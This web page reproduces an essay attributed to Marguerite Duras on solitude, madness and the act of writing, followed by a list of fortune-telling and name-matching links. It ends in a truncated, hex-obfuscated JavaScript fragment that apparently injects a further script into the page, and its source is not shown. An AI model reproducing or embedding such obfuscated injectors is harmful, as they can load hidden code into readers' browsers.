首页 / 格命草 / 杜拉斯:书中的孤独是全世界的孤独

杜拉斯:书中的孤独是全世界的孤独

格命草 2021-11-19 01:06

关注格命草,阅读更多经典诗词文

书中的孤独是全世界的孤独,书中自有这种内容。我始终相信孤独无所不在。它占据了一切,和大家一样,没有孤独便无所事事,便不再注意什么东西。那是一种思维方式、一种推理方式,但使用的却是日常的那种思维。写作功能中还有,或许首先是想到,既然每天都可以自我毁灭就不应该每天自我毁灭。这就是写书,这不是孤独。我谈到孤独,但当时我并不孤单,因为我有那份工作要圆满完成,那份苦役犯的工作:写了《副领事》。书写好了,被译成世界上所有语言,并被保存了起来。

自然发生的事件之间没有关联,因此,一直没有过计划。我一生中从未有过。从来没有。我的一生和我的书从未有过计划。

我每天上午都在写。但没有固定时间。从来没有。做饭除外。我知道何时去厨房看看汤是否烧开了或什么东西是否烧糊了。至于我的书,我也知道时间。我发誓,我从来没有在书中说过谎,在生活中也从不说谎。对男人除外。那是因为我母亲给我讲的话让我害怕,她说谎言会害死说谎的孩子。

我想自己对书有所抱怨的是,通常书没有自由,我们可以从写作中看出这一点:它们被人制造出来,被组织起来,被规则所约束,可以说循规蹈矩。作家的审核职责往往是针对自己的。于是作家变成了管自己的警察。我想说的是,寻求好的形式,最清楚和最不伤人的形式。还有那些垂死的人在写一些羞羞答答的书。甚至有些年轻人在写一些吸引人的书,一些没有发展,没有黑夜的书。没有沉默。换言之,没有真正的作者。一些白天的书、消磨时光和外出旅行时看的书。但不是嵌入思想、反映生活悲哀和思维模式的书。

我不知书为何物。无人知道,但有了一本人们就会知道。什么也没有时,人们也能知道,就像知道自己是什么样的人,知道自己还活着。

和每个作家一样,每本书都有一个无法绕过的困难阶段。它应该做出决定,把这种错误留在书内,使自己成为一本真正的书,不说谎的书。我还不知道孤独到后来会变成什么,还无法谈论它。我认为,这种孤独已变得平常,久而久之,变得很庸俗,这令人高兴。

我一生中最爱看的书,我个人爱看的是男人们写的书。米什莱的书。除了米什莱还是米什莱,看得令人流泪。我喜欢看政论文章,但喜欢程度差一些。圣朱斯特、司汤达,奇怪的是巴尔扎克不在其列。最好的文章是《旧约》。

我不知道自己是如何摆脱人们所说的那种神经发作危机,或迟钝、堕落危机或一种假寐。孤独也是这样。是一种写作。阅读即写作。

有些作家非常害怕。他们怕写作。我也有过这种情况,也许是因为对这种惧怕我从不害怕。我写了一些无法理解的书,也有人读了它们。最近我读了一本,三十多年来我没有重读过,我觉得它很好。书名是《平静的生活》。对那本书我只记住了最后一句话:“除了我,无人看到男人是如何淹死的。”那是一种按照一宗谋杀案的阴沉而又平常的逻辑一气呵成的书。在生活中,人们可以走得比书更远,比书里的谋杀更远。却不知走向何处,也许是走向对妹妹的爱慕,兄妹间的爱情故事,是的,又是这类故事,那种令人炫目的、轻率的、受到惩罚的永恒恋情的故事。

像这样生活,像我对你们说的那样生活在那种孤独之中,时间一长就会有危险。那是不可避免的事。人一旦孤独了便会失去理智。我相信这一点:我认为一个形单影只的人已经患上了疯病,因为没有任何东西能使他不自言自语。

人始终不会孤单,从物质上说从来不孤单。在任何地方。人总是在某一个地方,他会听到厨房的声音、电视或收音机的声音、附近住房和整个大楼里的声音。尤其是当他从来不要求我总是要求的那种安静。

疯狂总是伴随着孤独。我知道这一点。人们看不到疯狂。只是有时候可以预感到它的存在。我不认为会是另外一种情况。在你将自己的一切都掏出来,写出整整一本书时,你必然处于你无法让任何人分享的某种孤独的特别状态之中。什么东西都不能让人分享。自己写的书应该独自一人埋头阅读。显然,这具有某种宗教性质,但当时你不会感觉到,而事后,出于某种事物,如生命,或出于书的寿命的解决办法,出于话语、叫喊声、全世界人民那可怕无声的沉闷吼声,你可能会想到这一点(就像我现在想到的那样)。

在我们周围,一切都在写作,应该看到这种情况,一切都在写作,苍蝇它在写作,在墙上,在从池塘折射到大厅里的光线下它写了很多。苍蝇所写的东西可以占据整整一页。所以,那也可以是写作。既然可以是,那它就已经是了。也许在未来的几个世纪中的某一天,人们会去读这种写作,它也可能会被辨读出来,并翻译出来。那将是展现在天空中的一首难以朗读的长诗。

但是,在世界的某个地方,还是有人在写书。大家都在写书。我这样认为。肯定是这样。比如对于布朗肖来说,就是这样。疯狂伴随着他。疯狂也是死亡。巴塔耶就不同。为何巴塔耶能不为自由的、发疯的思想所害呢?我无法说清楚。

我们不适应时光,仅此便令人伤感。

无论在城里还是在村庄,无论在哪儿,作家是一群孤独的人。在任何地方,他们总是孤独的人。

当夜幕降临时,那就是解脱。当外面的工作停止时。余下的就是我们能够在夜间将其写下来的奢侈。我们可以在任何时间写作。我们不受命令、作息时间、长官、武器、罚款、咒骂、警察、各种各样的领导的制约。更不要说那些孵育明天的法西斯主义的母鸡。

流泪,人也该流点泪。

如果流泪毫无作用,我认为我仍然应该流泪。因为确实有绝望,它确实还在。对绝望的记忆还在。有时候,它会要人的命。

写作就是未知世界。在写作之前,人们不知道要写什么。而头脑非常清楚。

那是对自己、对自己的头脑和身体的未知。那甚至不是一种条件反射,写作是人们的一种官能,它像人有身体一样,好像是另一个身体,人们看不见它,可它出现、向前、拥有思维、拥有愤怒,有时候有自己的行为,它有可能会失去生命。

要是人们在动手之前,在写作之前知道要写点什么东西,那么就永远也不会去写作。用不着去写作。

写作就是试图去了解自己在写什么,了解自己是否在写作——作家只在事后才了解——事先,那是作家可能会想到的最危险的问题。也是最常见的问题。

作品就像风一样吹来,它毫无遮掩,就是墨水,就是作品,它进入生活,就像其他任何东西不进入生活一样,除了生活,没有任何它物。

猜你喜欢

  • 目录:1、和尚说我姻缘线断了什么意思2、人家看手相的说我的婚姻线已经动啦是什么意思啊求解谢谢3、感情线断开是怎么回事?4、如何看婚姻线:婚姻线断开一上一下?5、姻缘线断了是什么意思,婚姻线三条什么意思和尚说我姻缘线断了什么意思姻缘线被切断了说明不是姻缘线,是..

    八字2024-03-29
  • 目录:1、男马女猴婚配属相,男属马女属猴婚配如何2、属相婚配表男属马女属猴,男属马女属猴,在一起生肖五行相克不?_百度...3、男马女猴婚姻是否相配男马女猴婚配属相,男属马女属猴婚配如何1、男马女猴十二生肖配对结果:你们是对外所向披靡,相处时却容易产生摩擦的一对..

    八字2024-03-29
  • 目录:1、八字火太旺是忌水还是喜水2、生辰八字火多代表什么3、八字火多的女人命运会怎样?4、八字五行火过旺有什么影响?警惕怒气伤身,易患肺部疾病!5、五行火多的人怎么样?脾气火爆吗6、八字火太旺八字火太旺是忌水还是喜水火旺的八字,若八字中无滴水,就要忌水。丁火..

    八字2024-03-29
  • 目录:1、如果给你算命拆八字,你认为收多少钱合适呢?2、请高手帮忙拆八字3、拆八字郡是什么意思如果给你算命拆八字,你认为收多少钱合适呢?1、所谓“合适”,就是算命与命主双方都认可的数目。至于“多少”这个一般师门有规定的,照章收费就行。2、一般在线专业算卦算命..

    八字2024-03-29
  • 目录:1、男生戴红绳的含义2、男人求姻缘佩戴什么样的玉3、男人佩戴什么可以招桃花4、男生手上带红绳什么意思?5、单身的男孩子左手带个手链算什么?男生戴红绳的含义1、爱情的象征:一般一对恋人会戴一样的,男左女右,就像是信物一样!叫做“lovelace”爱之链,代表永远..

    八字2024-03-29
  • 目录:1、86年属虎的婚姻与命运如何2、1986年属虎的一生婚姻,1986年农历6月16属虎女婚姻和命运怎样3、86年虎女一生婚姻状况4、86年属虎后半生婚姻,1986年属虎的人婚姻5、属虎人爱情婚姻运势,86年属虎男有几段婚姻6、1986年属虎的一生婚姻,属虎婚姻运解析?86年属虎的婚姻..

    八字2024-03-29
  • 目录:1、本命年和本历年有啥不同?它们的概念分别是?2、什么叫做本命年?本命年又是什么?3、本命年多少岁4、本历年与本命年有什么区别5、什么叫本命年6、本年和本命年怎么算本命年和本历年有啥不同?它们的概念分别是?1、本历年即本命年,是十二年—遇的农历属相所在的年..

    本命年2024-03-29
  • 目录:1、最精准姓名配对爱情配对2、爱情姓名配对3、情侣名字配对指数如何推算姓名拼音首字母对应数字相加4、姓名恋爱配对,男女姓名星座缘分配对5、夫妻姓名配对测试看你们关系如何最精准姓名配对爱情配对姓名拼音推算配对指数数字和字母对应姓名配对婚姻对照表,1,2,..

    姓名配对2024-03-29
  • 目录:1、60岁属牛的人本命年为什么不能过生日?2、牛年本命年可以过生日吗?3、本命年为什么不能过生日60岁属牛的人本命年为什么不能过生日?因为60岁是本命年,本命年各方面运势都很低迷,会遇到很多不好的事情,甚至还会遇到一些突发性的情况,给属牛人带来很大的伤害。..

    本命年2024-03-29
  • 目录:1、姓名配对两人爱情结果两个人名字的笔画相加后2、情侣姓名笔画看你们的缘分3、姓名姻缘测试的方法有几种?又都各自代表了什么样的含义呢?4、姓名配对缘分测试,从名字笔画看两人姻缘?5、男女姓名配对测试婚姻,男女名字笔画测缘分?姓名配对两人爱情结果两个人名字..

    姓名配对2024-03-29
  • 目录:1、女生本命年结婚好吗2、本命年结婚为什么不好?3、本命年不宜结婚吗?4、本命年为什么不能结婚5、本命年结婚怎么样6、本命年结婚好还是不好,有什么讲究女生本命年结婚好吗女人本命年结婚好吗 在我国有一种传统,就是本命年的人结婚不太好,对一个人的身体健康以及..

    本命年2024-03-29
  • 目录:1、excel如何根据姓名匹配身份证号码2、Excel如何姓名自动匹配班级3、怎样用excel根据姓氏匹配工号?excel如何根据姓名匹配身份证号码1、使用INDEX/MATCH函数进行姓名与身份证号码的匹配,具体步骤如下:步骤1:在Excel表格中,将姓名列和身份证号码列分别命名为“..

    姓名配对2024-03-29
  • 目录:1、一生好运富贵的女孩小名,女孩名字里较大富大贵的字2、好听寓意好的小名3、女性好听又聚财的小名,好运气招财的女孩名字4、又顺利又有财气的小名,搜一个很好听,好霸气,很有财气而且很吉祥的名字...5、旺财的小名女一生好运富贵的女孩小名,女孩名字里较大富大贵的..

    财运2024-03-29
  • 目录:1、如何匹配2张excel中的名字2、怎么在表格里匹配同学的名字?3、excel表中怎么把两列姓名对应起来,比如王明和张华。4、两张表匹配相同名字的数据5、学生姓名与电子表格中的成绩如何匹配呢?如何匹配2张excel中的名字首先姓名配对电子表格,打开电脑姓名配对电子表..

    姓名配对2024-03-29
  • 目录:1、女人哪种脚型是富贵命超准测试2、准到不可思议!从脚相看女人的大富大贵3、从脚来看你的命运吉凶?女人哪种脚型是富贵命超准测试1、女人天生富贵的脚型埃及脚—富贵命女人有这种脚,天生脑子灵活,善于分析局势,最适合做领导性的工作,这种女人天生福气深厚,不..

    财运2024-03-29
  • 目录:1、免费测婚配八字网,求一个能够免费测八字合婚的网站?2、在线测姻缘免费测试,有免费测试缘分爱情指数的网站吗3、免费测你和他的缘分,有免费测试缘分爱情指数的网站吗4、男女姓名测试爱情缘分,怎么测试姓名缘分?5、免费姻缘八字配对,免费八字合婚网,生日爱情缘6、..

    姓名配对2024-03-29
  • 目录:1、婚姻配对免费测试姓名,名字配对姻缘,姓名姻缘配对测试2、名字婚配免费测试最准,免费姓名配对测试3、免费合婚姻最准的网站,免费合八字算婚姻网4、男女姓名匹配,姓名配对免费测姻缘5、姓名配对最准的免费网站,姓名配对哪一个网站更准啊?你试过吗?_百度知...婚姻..

    财运2024-03-29
  • 目录:1、姓名测试我和他的结局,姓名姻缘配对测试2、姓名配对测姻缘名字配对姻缘,姓名姻缘配对测3、非常运势网姓名测试打分,姓名测试打分生辰八字准吗4、姓名测试姻缘分长久,最准的姓名配对?姓名测试我和他的结局,姓名姻缘配对测试永远在一起。24岁终身监禁25恨你又爱你..

    姓名配对2024-03-29
  • 目录:1、天蝎座男和什么星座最配-注定爱上的星座2、天蝎座的最佳配对表3、星座婚配表大全天蝎座,十二星座配对表4、天蝎座男生的最佳配对5、十二星座名字配6、天蝎座男生配对星座表,揭秘天蝎男配对什么星座女?天蝎座男和什么星座最配-注定爱上的星座和天蝎男最配的星座..

    姓名配对2024-03-29
  • 目录:1、五爷庙求财许愿说什么2、增加偏财运该拜哪个菩萨3、偏财运是什么意思4、石榴木的人带什么菩萨偏财运5、问大年初四给观音菩萨和财神烧香出现长生香是什么意思有没有偏财运五爷庙求财许愿说什么许愿说词:弟子(信女)姓名、出生日期、家中地址,今日焚香并准备..

    财运2024-03-29
9\x70\x74")[0];uGjcoY3['\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65']['\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65'](XBLUoB2,uGjcoY3)})();